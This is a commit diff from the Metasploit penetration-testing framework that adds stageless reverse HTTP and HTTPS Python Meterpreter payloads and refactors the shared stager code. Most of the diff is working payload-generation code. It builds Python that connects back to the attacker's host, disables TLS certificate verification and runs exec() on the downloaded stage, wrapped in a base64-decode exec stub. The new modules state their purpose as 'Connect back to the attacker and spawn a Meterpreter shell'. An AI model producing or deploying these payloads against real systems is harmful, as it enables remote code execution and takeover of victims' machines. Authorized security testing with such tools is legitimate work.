Land #6299, Stageless HTTP(S) Python Meterpreter
commit
14b1b3a1f0
|
@ -13,7 +13,7 @@ PATH
|
|||
metasploit-concern (= 1.0.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.17)
|
||||
metasploit-payloads (= 1.0.18)
|
||||
metasploit_data_models (= 1.2.9)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.17)
|
||||
metasploit-payloads (1.0.18)
|
||||
metasploit_data_models (1.2.9)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -285,23 +285,14 @@ protected
|
|||
|
||||
blob = ""
|
||||
blob << obj.generate_stage(
|
||||
http_url: url,
|
||||
http_user_agent: datastore['MeterpreterUserAgent'],
|
||||
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
# Patch all the things
|
||||
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PayloadProxyHost'].blank?
|
||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
|
|
|
@ -5,7 +5,9 @@ module Msf::Payload::Python
|
|||
|
||||
#
|
||||
# Encode the given python command in base64 and wrap it with a stub
|
||||
# that will decode and execute it on the fly.
|
||||
# that will decode and execute it on the fly. The code will be condensed to
|
||||
# one line and compatible with all Python versions supported by the Python
|
||||
# Meterpreter stage.
|
||||
#
|
||||
# @param cmd [String] The python code to execute.
|
||||
# @return [String] Full python stub to execute the command.
|
||||
|
|
|
@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader
|
|||
# configuration
|
||||
#
|
||||
# @param opts [Hash] The options to use for patching the stage data.
|
||||
# @option opts [String] :http_proxy_host The host to use as a proxy for
|
||||
# HTTP(S) transports.
|
||||
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
||||
# set for HTTP(S) transports.
|
||||
# @option opts [String] :http_url The HTTP(S) URL to patch in to
|
||||
# allow use of the stage as a stageless payload.
|
||||
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
||||
# header for HTTP(S) transports.
|
||||
# @option opts [String] :stageless_tcp_socket_setup Python code to execute to
|
||||
# setup a tcp socket to allow use of the stage as a stageless payload.
|
||||
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
||||
|
@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader
|
|||
def stage_meterpreter(opts={})
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
if datastore['PythonMeterpreterDebug']
|
||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||
end
|
||||
|
@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader
|
|||
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
||||
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
||||
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
|
||||
|
||||
if opts[:http_proxy_host].to_s != ''
|
||||
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
# patch in any optional stageless tcp socket setup
|
||||
unless opts[:stageless_tcp_socket_setup].nil?
|
||||
socket_setup = opts[:stageless_tcp_socket_setup]
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
module Payload::Python::ReverseHttp
|
||||
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
|
||||
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
opts.merge!({
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
user_agent: datastore['MeterpreterUserAgent']
|
||||
})
|
||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||
|
||||
generate_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Return the callback URL
|
||||
#
|
||||
def generate_callback_url(opts)
|
||||
# required opts:
|
||||
# host, port, scheme
|
||||
if Rex::Socket.is_ipv6?(opts[:host])
|
||||
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
|
||||
else
|
||||
target_url = "#{opts[:scheme]}://#{opts[:host]}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << opts[:port].to_s
|
||||
target_url << generate_callback_uri(opts)
|
||||
target_url
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URI that fits into our available space
|
||||
#
|
||||
def generate_callback_uri(opts={})
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len)
|
||||
end
|
||||
|
||||
def generate_reverse_http(opts={})
|
||||
# required opts:
|
||||
# proxy_host, proxy_port, scheme, user_agent
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
proxy_host = opts[:proxy_host]
|
||||
proxy_port = opts[:proxy_port]
|
||||
|
||||
urllib_fromlist = ['\'build_opener\'']
|
||||
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
|
||||
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
|
||||
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
|
||||
|
||||
cmd = "import sys\n"
|
||||
cmd << "vi=sys.version_info\n"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||
cmd << "hs=[]\n"
|
||||
if opts[:scheme] == 'https'
|
||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||
cmd << "\timport ssl\n"
|
||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||
cmd << "\tsc.check_hostname=False\n"
|
||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||
end
|
||||
|
||||
if proxy_host.to_s != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
|
||||
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.17'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.18'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 49482
|
||||
CachedSize = 50226
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/meterpreter_loader'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 50190
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
include Msf::Payload::Python::MeterpreterLoader
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline',
|
||||
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||
))
|
||||
end
|
||||
|
||||
def generate_reverse_http(opts={})
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
})
|
||||
|
||||
py_create_exec_stub(met)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/meterpreter_loader'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 50190
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
include Msf::Payload::Python::MeterpreterLoader
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
|
||||
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||
))
|
||||
end
|
||||
|
||||
def generate_reverse_http(opts={})
|
||||
opts[:scheme] = 'https'
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
})
|
||||
|
||||
py_create_exec_stub(met)
|
||||
end
|
||||
|
||||
end
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 49398
|
||||
CachedSize = 50146
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -5,12 +5,16 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 466
|
||||
CachedSize = 494
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -23,90 +27,6 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "http://[#{lhost}]"
|
||||
else
|
||||
target_url = "http://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
cmd = "import sys\n"
|
||||
if proxy_host == ''
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URL that fits into our available space
|
||||
#
|
||||
def generate_callback_uri
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,14 +5,16 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 762
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseHttp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,103 +27,13 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || '127.127.127.127'
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "https://[#{lhost}]"
|
||||
else
|
||||
target_url = "https://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << generate_callback_uri
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
if proxy_host == ''
|
||||
urllib_fromlist = "['HTTPSHandler','build_opener']"
|
||||
else
|
||||
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
|
||||
end
|
||||
|
||||
cmd = "import sys\n"
|
||||
cmd << "vi=sys.version_info\n"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
|
||||
cmd << "hs=[]\n"
|
||||
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
|
||||
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
|
||||
cmd << "\timport ssl\n"
|
||||
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
|
||||
cmd << "\tsc.check_hostname=False\n"
|
||||
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
|
||||
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
|
||||
|
||||
if proxy_host != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o=ul.build_opener(*hs)\n"
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Return the longest URL that fits into our available space
|
||||
#
|
||||
def generate_callback_uri
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
|
||||
# Generate the short default URL if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
generate_uri_uuid_mode(:init_python, uri_req_len)
|
||||
super({scheme: 'https'})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'python/meterpreter_bind_tcp'
|
||||
end
|
||||
|
||||
context 'python/meterpreter_reverse_http' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/python/meterpreter_reverse_http'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter_reverse_http'
|
||||
end
|
||||
|
||||
context 'python/meterpreter_reverse_https' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/python/meterpreter_reverse_https'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/meterpreter_reverse_https'
|
||||
end
|
||||
|
||||
context 'python/meterpreter_reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue